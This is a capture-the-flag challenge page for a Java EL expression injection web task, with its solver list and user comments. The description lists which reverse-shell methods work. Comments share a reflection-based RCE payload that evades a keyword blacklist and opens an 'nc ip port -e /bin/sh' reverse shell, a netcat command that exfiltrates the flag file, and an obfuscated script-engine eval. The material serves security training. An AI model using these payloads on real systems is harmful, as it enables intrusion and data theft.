Java EL表达式注入WEB 未解决
分数:
35
金币:
4
题目作者:
云牧青
一 血:
广告位招租
一血奖励:
10金币
解 决:
148
提 示:
描 述:
/bin/bash： X ; /bin/sh √ ; /dev/tcp X ; nc -e ip port X ; nc ip port -e √ ;
评分(2)
解题动态
chenlinXdb 攻破了该题 13小时前
inspired 攻破了该题 2天前
yna 攻破了该题 2天前
kingx3 攻破了该题 6天前
Amy 攻破了该题 8天前
小懒 攻破了该题 8天前
16678911023 攻破了该题 8天前
ctfgod 攻破了该题 8天前
奥特娘 攻破了该题 9天前
CCC1112 攻破了该题 11天前
valecalida 攻破了该题 11天前
fjakjasdhfa 攻破了该题 11天前
itsjimo 攻破了该题 14天前
Bertramoon 攻破了该题 15天前
一江明月送归舟 攻破了该题 15天前
qi1102 攻破了该题 16天前
Alter 攻破了该题 18天前
KN11 攻破了该题 21天前
她存在了 攻破了该题 22天前
评论
ailiyishen 3月前
举报
"/bin/sh","-c","cat /f* | nc *"
qq1002517 8月前
举报
反弹服务器没的。算鸟
binyu 8月前
举报
''.getClass().forName('java.lang.Run'+'time').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Run'+'time').getMethod('getRu'+'ntime').invoke(null),'nc ip port -e /bin/sh')
李逍遥逛霍格沃茨 9月前
举报
浪费时间和金币的题目，花金币买了write up也做不出来 最大问题是反向连接建立不了 按照两边的教程监听端口一点反应都没有 纹丝不动
l1nci 1年前
举报
做不出来，金币-5，呜呜呜
ailx10 2年前
举报
嘻嘻，参考：https://zhuanlan.zhihu.com/p/721560334
lzhui 2年前
举报
金币 -5
blackjack009 2年前
举报
new javax.script.ScriptEngineManager().getEngineByName(new String(new byte[]{106,115})).eval(new String(new byte[]{106...........}));
jack12138 3年前
举报
利用Java反射机制实现RCE，参考：http://www.hackdig.com/08/hack-459909.htm，题中用''.getClass()替代了Class，黑名单可利用字符串拼接绕过，如''.getClass().forName('java.lang.Run'+'time')
jack12138 3年前
举报
没做出来，记录一下，应该跟 MVEL.eval 有关系？没试出来